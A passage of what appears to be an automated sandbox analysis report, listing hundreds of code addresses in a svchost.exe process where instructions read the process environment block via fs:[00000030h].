                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]1_2_0393A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]1_2_0393A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393A2C3 mov eax, dword ptr fs:[00000030h]1_2_0393A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]1_2_039402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]1_2_039402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039402E1 mov eax, dword ptr fs:[00000030h]1_2_039402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A062D6 mov eax, dword ptr fs:[00000030h]1_2_03A062D6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392823B mov eax, dword ptr fs:[00000030h]1_2_0392823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A250 mov eax, dword ptr fs:[00000030h]1_2_0392A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936259 mov eax, dword ptr fs:[00000030h]1_2_03936259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EA250 mov eax, dword ptr fs:[00000030h]1_2_039EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EA250 mov eax, dword ptr fs:[00000030h]1_2_039EA250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B8243 mov eax, dword ptr fs:[00000030h]1_2_039B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B8243 mov ecx, dword ptr fs:[00000030h]1_2_039B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0274 mov eax, dword ptr fs:[00000030h]1_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]1_2_03934260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]1_2_03934260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03934260 mov eax, dword ptr fs:[00000030h]1_2_03934260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392826B mov eax, dword ptr fs:[00000030h]1_2_0392826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A0625D mov eax, dword ptr fs:[00000030h]1_2_03A0625D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]1_2_039B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]1_2_039B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]1_2_039B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B019F mov eax, dword ptr fs:[00000030h]1_2_039B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]1_2_0392A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]1_2_0392A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A197 mov eax, dword ptr fs:[00000030h]1_2_0392A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03970185 mov eax, dword ptr fs:[00000030h]1_2_03970185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EC188 mov eax, dword ptr fs:[00000030h]1_2_039EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EC188 mov eax, dword ptr fs:[00000030h]1_2_039EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D4180 mov eax, dword ptr fs:[00000030h]1_2_039D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D4180 mov eax, dword ptr fs:[00000030h]1_2_039D4180
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A061E5 mov eax, dword ptr fs:[00000030h]1_2_03A061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]1_2_039AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]1_2_039AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE1D0 mov ecx, dword ptr fs:[00000030h]1_2_039AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]1_2_039AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE1D0 mov eax, dword ptr fs:[00000030h]1_2_039AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F61C3 mov eax, dword ptr fs:[00000030h]1_2_039F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F61C3 mov eax, dword ptr fs:[00000030h]1_2_039F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039601F8 mov eax, dword ptr fs:[00000030h]1_2_039601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DA118 mov ecx, dword ptr fs:[00000030h]1_2_039DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]1_2_039DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]1_2_039DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DA118 mov eax, dword ptr fs:[00000030h]1_2_039DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F0115 mov eax, dword ptr fs:[00000030h]1_2_039F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov eax, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DE10E mov ecx, dword ptr fs:[00000030h]1_2_039DE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03960124 mov eax, dword ptr fs:[00000030h]1_2_03960124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392C156 mov eax, dword ptr fs:[00000030h]1_2_0392C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C8158 mov eax, dword ptr fs:[00000030h]1_2_039C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04164 mov eax, dword ptr fs:[00000030h]1_2_03A04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04164 mov eax, dword ptr fs:[00000030h]1_2_03A04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936154 mov eax, dword ptr fs:[00000030h]1_2_03936154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03936154 mov eax, dword ptr fs:[00000030h]1_2_03936154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]1_2_039C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]1_2_039C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C4144 mov ecx, dword ptr fs:[00000030h]1_2_039C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]1_2_039C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C4144 mov eax, dword ptr fs:[00000030h]1_2_039C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393208A mov eax, dword ptr fs:[00000030h]1_2_0393208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F60B8 mov eax, dword ptr fs:[00000030h]1_2_039F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F60B8 mov ecx, dword ptr fs:[00000030h]1_2_039F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039280A0 mov eax, dword ptr fs:[00000030h]1_2_039280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C80A8 mov eax, dword ptr fs:[00000030h]1_2_039C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B20DE mov eax, dword ptr fs:[00000030h]1_2_039B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392C0F0 mov eax, dword ptr fs:[00000030h]1_2_0392C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039720F0 mov ecx, dword ptr fs:[00000030h]1_2_039720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A0E3 mov ecx, dword ptr fs:[00000030h]1_2_0392A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039380E9 mov eax, dword ptr fs:[00000030h]1_2_039380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B60E0 mov eax, dword ptr fs:[00000030h]1_2_039B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]1_2_0394E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]1_2_0394E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]1_2_0394E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E016 mov eax, dword ptr fs:[00000030h]1_2_0394E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B4000 mov ecx, dword ptr fs:[00000030h]1_2_039B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D2000 mov eax, dword ptr fs:[00000030h]1_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C6030 mov eax, dword ptr fs:[00000030h]1_2_039C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392A020 mov eax, dword ptr fs:[00000030h]1_2_0392A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392C020 mov eax, dword ptr fs:[00000030h]1_2_0392C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03932050 mov eax, dword ptr fs:[00000030h]1_2_03932050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B6050 mov eax, dword ptr fs:[00000030h]1_2_039B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395C073 mov eax, dword ptr fs:[00000030h]1_2_0395C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D678E mov eax, dword ptr fs:[00000030h]1_2_039D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039307AF mov eax, dword ptr fs:[00000030h]1_2_039307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E47A0 mov eax, dword ptr fs:[00000030h]1_2_039E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393C7C0 mov eax, dword ptr fs:[00000030h]1_2_0393C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B07C3 mov eax, dword ptr fs:[00000030h]1_2_039B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039347FB mov eax, dword ptr fs:[00000030h]1_2_039347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039347FB mov eax, dword ptr fs:[00000030h]1_2_039347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]1_2_039527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]1_2_039527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039527ED mov eax, dword ptr fs:[00000030h]1_2_039527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BE7E1 mov eax, dword ptr fs:[00000030h]1_2_039BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930710 mov eax, dword ptr fs:[00000030h]1_2_03930710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03960710 mov eax, dword ptr fs:[00000030h]1_2_03960710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C700 mov eax, dword ptr fs:[00000030h]1_2_0396C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396273C mov eax, dword ptr fs:[00000030h]1_2_0396273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396273C mov ecx, dword ptr fs:[00000030h]1_2_0396273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396273C mov eax, dword ptr fs:[00000030h]1_2_0396273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AC730 mov eax, dword ptr fs:[00000030h]1_2_039AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C720 mov eax, dword ptr fs:[00000030h]1_2_0396C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C720 mov eax, dword ptr fs:[00000030h]1_2_0396C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930750 mov eax, dword ptr fs:[00000030h]1_2_03930750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BE75D mov eax, dword ptr fs:[00000030h]1_2_039BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972750 mov eax, dword ptr fs:[00000030h]1_2_03972750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972750 mov eax, dword ptr fs:[00000030h]1_2_03972750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B4755 mov eax, dword ptr fs:[00000030h]1_2_039B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396674D mov esi, dword ptr fs:[00000030h]1_2_0396674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396674D mov eax, dword ptr fs:[00000030h]1_2_0396674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396674D mov eax, dword ptr fs:[00000030h]1_2_0396674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938770 mov eax, dword ptr fs:[00000030h]1_2_03938770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940770 mov eax, dword ptr fs:[00000030h]1_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03934690 mov eax, dword ptr fs:[00000030h]1_2_03934690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03934690 mov eax, dword ptr fs:[00000030h]1_2_03934690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039666B0 mov eax, dword ptr fs:[00000030h]1_2_039666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C6A6 mov eax, dword ptr fs:[00000030h]1_2_0396C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A6C7 mov ebx, dword ptr fs:[00000030h]1_2_0396A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A6C7 mov eax, dword ptr fs:[00000030h]1_2_0396A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]1_2_039AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]1_2_039AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]1_2_039AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE6F2 mov eax, dword ptr fs:[00000030h]1_2_039AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B06F1 mov eax, dword ptr fs:[00000030h]1_2_039B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B06F1 mov eax, dword ptr fs:[00000030h]1_2_039B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972619 mov eax, dword ptr fs:[00000030h]1_2_03972619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AE609 mov eax, dword ptr fs:[00000030h]1_2_039AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394260B mov eax, dword ptr fs:[00000030h]1_2_0394260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E627 mov eax, dword ptr fs:[00000030h]1_2_0394E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03966620 mov eax, dword ptr fs:[00000030h]1_2_03966620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03968620 mov eax, dword ptr fs:[00000030h]1_2_03968620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393262C mov eax, dword ptr fs:[00000030h]1_2_0393262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394C640 mov eax, dword ptr fs:[00000030h]1_2_0394C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03962674 mov eax, dword ptr fs:[00000030h]1_2_03962674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F866E mov eax, dword ptr fs:[00000030h]1_2_039F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F866E mov eax, dword ptr fs:[00000030h]1_2_039F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A660 mov eax, dword ptr fs:[00000030h]1_2_0396A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A660 mov eax, dword ptr fs:[00000030h]1_2_0396A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E59C mov eax, dword ptr fs:[00000030h]1_2_0396E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03932582 mov eax, dword ptr fs:[00000030h]1_2_03932582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03932582 mov ecx, dword ptr fs:[00000030h]1_2_03932582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03964588 mov eax, dword ptr fs:[00000030h]1_2_03964588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039545B1 mov eax, dword ptr fs:[00000030h]1_2_039545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039545B1 mov eax, dword ptr fs:[00000030h]1_2_039545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]1_2_039B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]1_2_039B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B05A7 mov eax, dword ptr fs:[00000030h]1_2_039B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039365D0 mov eax, dword ptr fs:[00000030h]1_2_039365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A5D0 mov eax, dword ptr fs:[00000030h]1_2_0396A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396A5D0 mov eax, dword ptr fs:[00000030h]1_2_0396A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E5CF mov eax, dword ptr fs:[00000030h]1_2_0396E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E5CF mov eax, dword ptr fs:[00000030h]1_2_0396E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E5E7 mov eax, dword ptr fs:[00000030h]1_2_0395E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039325E0 mov eax, dword ptr fs:[00000030h]1_2_039325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C5ED mov eax, dword ptr fs:[00000030h]1_2_0396C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396C5ED mov eax, dword ptr fs:[00000030h]1_2_0396C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C6500 mov eax, dword ptr fs:[00000030h]1_2_039C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A04500 mov eax, dword ptr fs:[00000030h]1_2_03A04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940535 mov eax, dword ptr fs:[00000030h]1_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]1_2_0395E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]1_2_0395E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]1_2_0395E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]1_2_0395E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]1_2_0395E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03938550 mov eax, dword ptr fs:[00000030h]1_2_03938550
